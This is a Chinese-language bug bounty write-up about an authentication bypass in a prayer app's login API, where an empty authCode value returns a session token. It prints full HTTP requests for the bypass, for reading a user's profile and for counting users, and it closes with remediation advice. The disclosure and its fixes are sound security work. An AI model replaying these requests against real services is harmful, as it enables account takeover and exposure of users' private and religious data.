0x01 故事背景：消失的验证码
如果我告诉你，只需输入一个手机号，再配合一个“空字符串”，就能接管全球超过 27 万名用户的敏感账户——包括他们的真实姓名、完整敏感PII信息、GPS 精确坐标，甚至长达 68 年的有效登录凭证，你会相信吗？
但这就是我上个月在某海外 Bug Bounty Program平台挖掘到的真实漏洞。它不仅是一个高危的 Authentication Bypass身份验证绕过漏洞，更是一次对后端开发逻辑缺陷的完美背刺。
今天，我想带大家重回那个深夜，看看这个价值“高危”评级的漏洞是如何从一行不起眼的 API 文档中浮出水面的。
0x02 信息搜集：渗透测试的灵魂
在BBP页面上，该厂商有比较大的授权测试范围，其中有很多的通配符。因此，信息收集绝对是非常必要的一环。
在对该厂商的子域进行资产测绘时，一个名为 taqwa.miniapps.xxxxxx.io 的资产引起了我的注意。经过初步判断，这是一个针对特定宗教群体的生活服务小程序后端。
常规扫描并没有太多发现，但我始终相信：API Docs 是通往数据库的藏宝图。
当我尝试访问 /muslim-prayer-app-api/v3/api-docs 时，屏幕上瞬间跳出了整齐的 Swagger 文档。没有 403，没有 Token 验证。那一刻，我的直觉告诉我：这家的权限控制做得非常松散，核心登录逻辑极大概率存在猫腻。
0x03 核心失控点：那个致命的 “”
发现登录endpoint
在之前泄露的 API 文档中，我锁定了认证接口：/muslim-prayer-app-api/customer/login
经过验证，这是一个标准的手机号+验证码（authCode）登录流程
逻辑博弈，尝试“空值绕过”
通常，后端验证验证码的伪代码可能是这样的（大致情况）：
// 猜测的后端逻辑缺陷
if (request.getAuthCode().equals(storedAuthCode)) {
return loginSuccess();
}思路转变：
如果服务器还没有给这个手机号发送验证码，那么 storedAuthCode 在缓存（如 Redis）中可能是 null 或者是一个空字符串。如果我手动构造一个 authCode 为空的 Payload，是否能触发这种逻辑相等？
根据我以往的经验，之前在各种hw和国内src漏洞挖掘中经常遇到这种情况，通过参数置空绕过权限认证，造成BAC（Broken Access Control）
说干就干，我立刻打开burpsuite对/muslim-prayer-app-api/customer/login，利用空字符串发起了请求
POST /muslim-prayer-app-api/customer/login HTTP/1.1
Host: taqwa.miniapps.xxxxxx.io
Content-Type: application/json
Content-Length: 63
{"authCode":"","mobile":"08123456789","mobileCountryCode":"62"}“authCode”: “”部分，是整场表演的核心，尝试利用后端对空值的弱校验。
服务端返回如下，请求成功并拿到了认证凭据
拿到了 td-app=63276601-ac77-43e5-913e-761f602a169a
看起来整体情况都和我想的差不多，接下来深入利用这个已知的配置缺陷
使用获取的 td-app token，读取用户完整个人信息（含手机号、用户支付ID等敏感PII）
POST /muslim-prayer-app-api/customer HTTP/1.1
Host: taqwa.miniapps.xxxxxx.io
Content-Type: application/json
td-app: 63276601-ac77-43e5-913e-761f602a169a
Content-Length: 2
{}成功利用获取的 td-app token，完成了账户接管（ATO），并获取了敏感个人信息
这里仅用了自己的测试账号做无害化展示，不过从返回的字段中也可以看出泄露的信息都有哪些
最后一步，验证受影响的用户规模
POST /muslim-prayer-app-api/customer/queryCount HTTP/1.1
Host: taqwa.miniapps.xxxxxx.io
Content-Type: application/json
td-app: 2564f01a-e0f1-4b6e-8b99-59e7b24eefd9
{}
总共影响用户数量为270594
0x04 震撼的影响：不仅仅是 ATO
当我拿到这个 td-app token 后，我发现这个漏洞的深度远超想象。
1.全量 PII 泄露：
利用该 Token 访问 /customer 接口，我可以获取用户的真实姓名、GoPay ID、甚至 GPS 经纬度坐标。
2.宗教隐私曝光：
该应用记录了用户每天 5 次的礼拜签到记录和古兰经阅读进度。在某些敏感地区，这类数据的泄露可能威胁到用户的人身安全。
3.“永不过期”的会话：
通过观察 Set-Cookie，发现该 Session 的有效期长达 68 年。这意味着攻击者只需得手一次，就能永久控制该账户。
4.27 万人的规模：
我通过调用 /customer/queryCount 接口，确认了受影响的用户基数——270,594 名用户。
这不再是一个简单的 Bug，这是一个随时可能爆炸的核弹。
0x05 防御与反思：从攻击者回归建设者
为什么会发生这种低级错误？
根源分析：
这是典型的认证绕过（Broken Authentication）。后端在执行验证逻辑前，没有对 authCode 进行必要的非空校验（Non-null Check）和有效性生命周期校验。当传入空字符串时，后端逻辑可能错误地将其与尚未初始化或已过期的空状态进行了匹配。
加固方案：
1.严格校验输入：所有认证相关的字段，必须在逻辑层首行进行 isEmpty() 校验。
2.强制状态检查：验证码校验逻辑应包含：if (inputCode != null && inputCode.equals(cachedCode))。
3.最小化文档暴露：在生产环境中，必须禁用 Swagger 等 API 文档的公共访问权限。
4.合理的 Session 策略：给 Token 设置合理的过期时间（如 30 天）。